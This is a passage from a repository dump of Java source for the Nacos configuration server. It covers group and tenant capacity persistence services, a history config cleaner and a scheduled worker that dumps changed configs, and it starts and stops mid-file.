groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, groupCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.GROUP_ID, groupCapacity.getGroupName());\n        MapperResult mapperResult = groupCapacityMapper.incrementUsageByWhere(context);\n        try {\n            int affectRow = jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            return affectRow == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Decrement Usage.\n     *\n     * @param groupCapacity groupCapacity object instance.\n     * @return operate result.\n     */\n    public boolean decrementUsage(GroupCapacity groupCapacity) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, groupCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.GROUP_ID, groupCapacity.getGroupName());\n        MapperResult mapperResult = groupCapacityMapper.decrementUsageByWhere(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Update GroupCapacity.\n     *\n     * @param group        group string value.\n     * @param quota        quota int value.\n     * @param maxSize      maxSize int value.\n     * @param maxAggrCount maxAggrCount int value.\n     * @param maxAggrSize  maxAggrSize int value.\n     * @return operate result.\n     */\n    public boolean updateGroupCapacity(String group, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        List<Object> argList = CollectionUtils.list();\n        List<String> columnList = CollectionUtils.list();\n        if (quota != null) {\n            columnList.add(\"quota\");\n            argList.add(quota);\n        }\n        if (maxSize != null) {\n            columnList.add(\"max_size\");\n            argList.add(maxSize);\n        }\n        if (maxAggrCount != null) {\n            columnList.add(\"max_aggr_count\");\n            argList.add(maxAggrCount);\n        }\n        if (maxAggrSize != null) {\n            columnList.add(\"max_aggr_size\");\n            argList.add(maxAggrSize);\n        }\n        columnList.add(\"gmt_modified\");\n        argList.add(TimeUtils.getCurrentTime());\n        \n        List<String> whereList = CollectionUtils.list();\n        whereList.add(\"group_id\");\n        argList.add(group);\n        \n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        String sql = groupCapacityMapper.update(columnList, whereList);\n        try {\n            return jdbcTemplate.update(sql, argList.toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    public boolean updateQuota(String group, Integer quota) {\n        return updateGroupCapacity(group, quota, null, null, null);\n    }\n    \n    public boolean updateMaxSize(String group, Integer maxSize) {\n        return updateGroupCapacity(group, null, maxSize, null, null);\n    }\n    \n    /**\n     * Correct Usage.\n     *\n     * @param group       group string value.\n     * @param gmtModified gmtModified.\n     * @return operate result.\n     */\n    public boolean correctUsage(String group, Timestamp gmtModified) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        MapperResult mapperResult;\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, gmtModified);\n        context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        if (CLUSTER.equals(group)) {\n            mapperResult = groupCapacityMapper.updateUsage(context);\n            try {\n                return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n            } catch (CannotGetJdbcConnectionException e) {\n                FATAL_LOG.error(\"[db-error]\", e);\n                throw e;\n            }\n        } else {\n            // Note: add \"tenant_id = ''\" condition.\n            mapperResult = groupCapacityMapper.updateUsageByWhere(context);\n            try {\n                return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n            } catch (CannotGetJdbcConnectionException e) {\n                FATAL_LOG.error(\"[db-error]\", e);\n                throw e;\n            }\n        }\n    }\n    \n    /**\n     * Get group capacity list, noly has id and groupId value.\n     *\n     * @param lastId   lastId long value.\n     * @param pageSize pageSize long value.\n     * @return GroupCapacity list.\n     */\n    public List<GroupCapacity> getCapacityList4CorrectUsage(long lastId, int pageSize) {\n        GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.GROUP_CAPACITY);\n        \n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, lastId);\n        context.setPageSize(pageSize);\n        \n        MapperResult mapperResult = groupCapacityMapper.selectGroupInfoBySize(context);\n        try {\n            return jdbcTemplate.query(mapperResult.getSql(), mapperResult.getParamList().toArray(), (rs, rowNum) -> {\n                GroupCapacity groupCapacity = new GroupCapacity();\n                groupCapacity.setId(rs.getLong(\"id\"));\n                groupCapacity.setGroupName(rs.getString(\"group_id\"));\n                return groupCapacity;\n            });\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Delete GroupCapacity.\n     *\n     * @param group group string value.\n     * @return operate result.\n     */\n    public boolean deleteGroupCapacity(final String group) {\n        try {\n            GroupCapacityMapper groupCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.GROUP_CAPACITY);\n            PreparedStatementCreator preparedStatementCreator = connection -> {\n                PreparedStatement ps = connection.prepareStatement(\n                        groupCapacityMapper.delete(Collections.singletonList(\"group_id\")));\n                ps.setString(1, group);\n                return ps;\n            };\n            return jdbcTemplate.update(preparedStatementCreator) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n        \n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/capacity/TenantCapacityPersistService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.TenantCapacityMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.PostConstruct;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;\n\n/**\n * Tenant Capacity Service.\n *\n * @author hexu.hxy\n * @date 2018/03/05\n */\n@Service\npublic class TenantCapacityPersistService {\n    \n    private static final TenantCapacityRowMapper TENANT_CAPACITY_ROW_MAPPER = new TenantCapacityRowMapper();\n    \n    private JdbcTemplate jdbcTemplate;\n    \n    private DataSourceService dataSourceService;\n    \n    private MapperManager mapperManager;\n    \n    /**\n     * init method.\n     */\n    @PostConstruct\n    public void init() {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jdbcTemplate = dataSourceService.getJdbcTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    static final class TenantCapacityRowMapper implements RowMapper<NamespaceCapacity> {\n        \n        @Override\n        public NamespaceCapacity mapRow(ResultSet rs, int rowNum) throws SQLException {\n            NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n            tenantCapacity.setId(rs.getLong(\"id\"));\n            tenantCapacity.setQuota(rs.getInt(\"quota\"));\n            tenantCapacity.setUsage(rs.getInt(\"usage\"));\n            tenantCapacity.setMaxSize(rs.getInt(\"max_size\"));\n            tenantCapacity.setMaxAggrCount(rs.getInt(\"max_aggr_count\"));\n            tenantCapacity.setMaxAggrSize(rs.getInt(\"max_aggr_size\"));\n            tenantCapacity.setNamespaceId(rs.getString(\"tenant_id\"));\n            return tenantCapacity;\n        }\n    }\n    \n    public NamespaceCapacity getTenantCapacity(String tenantId) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantId);\n        \n        MapperResult mapperResult = tenantCapacityMapper.select(context);\n        List<NamespaceCapacity> capacityList = jdbcTemplate.query(mapperResult.getSql(), TENANT_CAPACITY_ROW_MAPPER,\n                mapperResult.getParamList().toArray());\n        if (capacityList.isEmpty()) {\n            return null;\n        }\n        return capacityList.get(0);\n    }\n    \n    /**\n     * Insert TenantCapacity.\n     *\n     * @param tenantCapacity tenantCapacity object instance.\n     * @return operate result.\n     */\n    public boolean insertTenantCapacity(final NamespaceCapacity tenantCapacity) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        context.putUpdateParameter(FieldConstant.QUOTA, tenantCapacity.getQuota());\n        context.putUpdateParameter(FieldConstant.MAX_SIZE, tenantCapacity.getMaxSize());\n        context.putUpdateParameter(FieldConstant.MAX_AGGR_SIZE, tenantCapacity.getMaxAggrSize());\n        context.putUpdateParameter(FieldConstant.MAX_AGGR_COUNT, tenantCapacity.getMaxAggrCount());\n        context.putUpdateParameter(FieldConstant.GMT_CREATE, tenantCapacity.getGmtCreate());\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, tenantCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        \n        final MapperResult mapperResult = tenantCapacityMapper.insertTenantCapacity(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) > 0;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n        \n    }\n    \n    /**\n     * Increment UsageWithDefaultQuotaLimit.\n     *\n     * @param tenantCapacity tenantCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsageWithDefaultQuotaLimit(NamespaceCapacity tenantCapacity) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, tenantCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        context.putWhereParameter(FieldConstant.USAGE, tenantCapacity.getQuota());\n        MapperResult mapperResult = tenantCapacityMapper.incrementUsageWithDefaultQuotaLimit(context);\n        \n        try {\n            int affectRow = jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            return affectRow == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Increment UsageWithQuotaLimit.\n     *\n     * @param tenantCapacity tenantCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsageWithQuotaLimit(NamespaceCapacity tenantCapacity) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        \n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, tenantCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        MapperResult mapperResult = tenantCapacityMapper.incrementUsageWithQuotaLimit(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n            \n        }\n    }\n    \n    /**\n     * Increment Usage.\n     *\n     * @param tenantCapacity tenantCapacity object instance.\n     * @return operate result.\n     */\n    public boolean incrementUsage(NamespaceCapacity tenantCapacity) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        \n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, tenantCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        MapperResult mapperResult = tenantCapacityMapper.incrementUsage(context);\n        try {\n            int affectRow = jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            return affectRow == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * DecrementUsage.\n     *\n     * @param tenantCapacity tenantCapacity object instance.\n     * @return operate result.\n     */\n    public boolean decrementUsage(NamespaceCapacity tenantCapacity) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, tenantCapacity.getGmtModified());\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantCapacity.getNamespaceId());\n        MapperResult mapperResult = tenantCapacityMapper.decrementUsage(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Update TenantCapacity.\n     *\n     * @param tenant       tenant string value.\n     * @param quota        quota int value.\n     * @param maxSize      maxSize int value.\n     * @param maxAggrCount maxAggrCount int value.\n     * @param maxAggrSize  maxAggrSize int value.\n     * @return operate result.\n     */\n    public boolean updateTenantCapacity(String tenant, Integer quota, Integer maxSize, Integer maxAggrCount,\n            Integer maxAggrSize) {\n        List<Object> argList = CollectionUtils.list();\n        \n        List<String> columns = new ArrayList<>();\n        if (quota != null) {\n            columns.add(\"quota\");\n            argList.add(quota);\n        }\n        if (maxSize != null) {\n            columns.add(\"max_size\");\n            argList.add(maxSize);\n        }\n        if (maxAggrCount != null) {\n            columns.add(\"max_aggr_count\");\n            argList.add(maxAggrCount);\n        }\n        if (maxAggrSize != null) {\n            columns.add(\"max_aggr_size\");\n            argList.add(maxAggrSize);\n        }\n        columns.add(\"gmt_modified\");\n        argList.add(TimeUtils.getCurrentTime());\n        \n        List<String> where = new ArrayList<>();\n        where.add(\"tenant_id\");\n        \n        argList.add(tenant);\n        \n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        String sql = tenantCapacityMapper.update(columns, where);\n        try {\n            return jdbcTemplate.update(sql, argList.toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    public boolean updateQuota(String tenant, Integer quota) {\n        return updateTenantCapacity(tenant, quota, null, null, null);\n    }\n    \n    /**\n     * Correct Usage.\n     *\n     * @param tenant      tenant.\n     * @param gmtModified gmtModified.\n     * @return operate result.\n     */\n    public boolean correctUsage(String tenant, Timestamp gmtModified) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        \n        MapperContext context = new MapperContext();\n        context.putUpdateParameter(FieldConstant.GMT_MODIFIED, gmtModified);\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenant);\n        MapperResult mapperResult = tenantCapacityMapper.correctUsage(context);\n        try {\n            return jdbcTemplate.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Get TenantCapacity List, only including id and tenantId value.\n     *\n     * @param lastId   lastId long value.\n     * @param pageSize pageSize int value.\n     * @return TenantCapacity List.\n     */\n    public List<NamespaceCapacity> getCapacityList4CorrectUsage(long lastId, int pageSize) {\n        TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.TENANT_CAPACITY);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, lastId);\n        context.putWhereParameter(FieldConstant.LIMIT_SIZE, pageSize);\n        MapperResult mapperResult = tenantCapacityMapper.getCapacityList4CorrectUsage(context);\n        \n        try {\n            return jdbcTemplate.query(mapperResult.getSql(), mapperResult.getParamList().toArray(), (rs, rowNum) -> {\n                NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n                tenantCapacity.setId(rs.getLong(\"id\"));\n                tenantCapacity.setNamespaceId(rs.getString(\"tenant_id\"));\n                return tenantCapacity;\n            });\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n    \n    /**\n     * Delete TenantCapacity.\n     *\n     * @param tenant tenant string value.\n     * @return operate result.\n     */\n    public boolean deleteTenantCapacity(final String tenant) {\n        try {\n            TenantCapacityMapper tenantCapacityMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.TENANT_CAPACITY);\n            PreparedStatementCreator preparedStatementCreator = connection -> {\n                PreparedStatement ps = connection.prepareStatement(\n                        tenantCapacityMapper.delete(Collections.singletonList(\"tenant_id\")));\n                ps.setString(1, tenant);\n                return ps;\n            };\n            return jdbcTemplate.update(preparedStatementCreator) == 1;\n        } catch (CannotGetJdbcConnectionException e) {\n            FATAL_LOG.error(\"[db-error]\", e);\n            throw e;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DefaultHistoryConfigCleaner.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.sys.utils.ApplicationUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.sql.Timestamp;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\n\n/**\n * The type Default history config cleaner.\n *\n * @author Sunrisea\n */\npublic class DefaultHistoryConfigCleaner implements HistoryConfigCleaner {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(DefaultHistoryConfigCleaner.class);\n    \n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Override\n    public void cleanHistoryConfig() {\n        Timestamp startTime = getBeforeStamp(TimeUtils.getCurrentTime(), 24 * getRetentionDays());\n        int pageSize = 1000;\n        LOGGER.warn(\"clearConfigHistory, getBeforeStamp:{}, pageSize:{}\", startTime, pageSize);\n        getHistoryConfigInfoPersistService().removeConfigHistory(startTime, pageSize);\n    }\n    \n    private HistoryConfigInfoPersistService getHistoryConfigInfoPersistService() {\n        if (historyConfigInfoPersistService == null) {\n            historyConfigInfoPersistService = ApplicationUtils.getBean(HistoryConfigInfoPersistService.class);\n        }\n        return historyConfigInfoPersistService;\n    }\n    \n    private Timestamp getBeforeStamp(Timestamp date, int step) {\n        Calendar cal = Calendar.getInstance();\n        cal.setTime(date);\n        cal.add(Calendar.HOUR_OF_DAY, -step);\n        SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        return Timestamp.valueOf(format.format(cal.getTime()));\n    }\n    \n    private int getRetentionDays() {\n        return PropertyUtil.getConfigRententionDays();\n    }\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DumpChangeConfigWorker.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\n\nimport java.sql.Timestamp;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Dump change processor.\n *\n * @author Nacos\n * @date 2020/7/5 12:19 PM\n */\npublic class DumpChangeConfigWorker implements Runnable {\n    \n    private ConfigInfoPersistService configInfoPersistService;\n    \n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    private ConfigMigrateService configMigrateService;\n    \n    Timestamp startTime;\n    \n    public DumpChangeConfigWorker(ConfigInfoPersistService configInfoPersistService,\n            HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigMigrateService configMigrateService,\n            Timestamp startTime) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        this.configMigrateService = configMigrateService;\n        this.startTime = startTime;\n    }\n    \n    int pageSize = 100;\n    \n    public void setPageSize(int pageSize) {\n        this.pageSize = pageSize;\n    }\n    \n    /**\n     * do check change.\n     */\n    @Override\n    public void run() {\n        try {\n            if (!PropertyUtil.isDumpChangeOn()) {\n                LogUtil.DEFAULT_LOG.info(\"DumpChange task is not open\");\n                return;\n            }\n            Timestamp currentTime = new Timestamp(System.currentTimeMillis());\n            LogUtil.DEFAULT_LOG.info(\"DumpChange start ,from time {},current time {}\", startTime, currentTime);\n            LogUtil.DEFAULT_LOG.info(\"Start to check delete configs from  time {}\", startTime);\n            long startDeletedConfigTime = System.currentTimeMillis();\n            LogUtil.DEFAULT_LOG.info(\"Check delete configs from  time {}\", startTime);\n            long deleteCursorId = 0L;\n            while (true) {\n                List<ConfigInfoStateWrapper> configDeleted = historyConfigInfoPersistService.findDeletedConfig(startTime,\n                        deleteCursorId, pageSize, Constants.FORMAL);\n                for (ConfigInfoStateWrapper configInfo : configDeleted) {\n                    if (configInfoPersistService.findConfigInfoState(configInfo.getDataId(), configInfo.getGroup(),\n                            configInfo.getTenant()) == null) {\n                        ConfigCacheService.remove(configInfo.getDataId(), configInfo.getGroup(),\n                                configInfo.getTenant());\n                        LogUtil.DEFAULT_LOG.info(\"[dump-delete-ok], groupKey: {}, tenant: {}\",\n                                new Object[] {GroupKey2.getKey(configInfo.getDataId(), configInfo.getGroup())}, configInfo.getTenant());\n                        configMigrateService.checkDeletedConfigMigrateState(configInfo);\n                    }\n                }\n                if (configDeleted.size() < pageSize) {\n                    break;\n                }\n                deleteCursorId = configDeleted.get(configDeleted.size() - 1).getId();\n            }\n            LogUtil.DEFAULT_LOG.info(\"Check delete configs finished,cost:{}\", System.currentTimeMillis() - startDeletedConfigTime);\n            LogUtil.DEFAULT_LOG.info(\"Check changeConfig start\");\n            long startChangeConfigTime = System.currentTimeMillis();\n            long changeCursorId = 0L;\n            while (true) {\n                LogUtil.DEFAULT_LOG.info(\"Check changed configs from  time {},lastMaxId={}\", startTime, changeCursorId);\n                List<ConfigInfoStateWrapper> changeConfigs = configInfoPersistService.findChangeConfig(startTime,\n                        changeCursorId, pageSize);\n                for (ConfigInfoStateWrapper cf : changeConfigs) {\n                    configMigrateService.checkChangedConfigMigrateState(cf);\n                    if (StringUtils.isBlank(cf.getTenant())) {\n                        continue;\n                    }\n                    final String groupKey = GroupKey2.getKey(cf.getDataId(), cf.getGroup(), cf.getTenant());\n                    //check md5 & localtimestamp update local disk cache.\n                    boolean newLastModified = cf.getLastModified() > ConfigCacheService.getLastModifiedTs(groupKey);\n                    String localContentMd5 = ConfigCacheService.getContentMd5(groupKey);\n                    boolean md5Update = !localContentMd5.equals(cf.getMd5());\n                    if (newLastModified || md5Update) {\n                        LogUtil.DEFAULT_LOG.info(\"[dump-change] find change config  {}, {}, md5={}\", groupKey, cf.getLastModified(),\n                                cf.getMd5());\n                        ConfigInfoWrapper configInfoWrapper = configInfoPersistService.findConfigInfo(cf.getDataId(),\n                                cf.getGroup(), cf.getTenant());\n                        LogUtil.DUMP_LOG.info(\"[dump-change] find change config  {}, {}, md5={}\", groupKey, cf.getLastModified(),\n                                cf.getMd5());\n                        ConfigCacheService.dump(configInfoWrapper.getDataId(), configInfoWrapper.getGroup(),\n                                configInfoWrapper.getTenant(), configInfoWrapper.getContent(),\n                                configInfoWrapper.getLastModified(), configInfoWrapper.getType(),\n                                configInfoWrapper.getEncryptedDataKey());\n                        final String content = configInfoWrapper.getContent();\n                        final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE_GBK);\n                        final String md5Utf8 = MD5Utils.md5Hex(content, Constants.ENCODE_UTF8);\n                        LogUtil.DEFAULT_LOG.info(\"[dump-change-ok] {}, {}, length={}, md5={},md5UTF8={}\", groupKey,\n                                configInfoWrapper.getLastModified(), content.length(), md5, md5Utf8);\n                    }\n                }\n                if (changeConfigs.size() < pageSize) {\n                    break;\n                }\n                changeCursorId = changeConfigs.get(changeConfigs.size() - 1).getId();\n            }\n            long endChangeConfigTime = System.currentTimeMillis();\n            LogUtil.DEFAULT_LOG.info(\n                    \"Check changed configs finished,cost:{}, next task ready will from start time  {}\",\n                    endChangeConfigTime - startChangeConfigTime, currentTime);\n            startTime = currentTime;\n        } catch (Throwable e) {\n            LogUtil.DEFAULT_LOG.error(\"Check changed configs error\", e);\n        } finally {\n            ConfigExecutor.scheduleConfigChangeTask(this, PropertyUtil.getDumpChangeWorkerInterval(),\n                    TimeUnit.MILLISECONDS);\n            LogUtil.DEFAULT_LOG.info(\"Next dump change will scheduled after {} milliseconds\",\n                    PropertyUtil.getDumpChangeWorkerInterval());\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DumpChangeGrayConfigWorker.java",
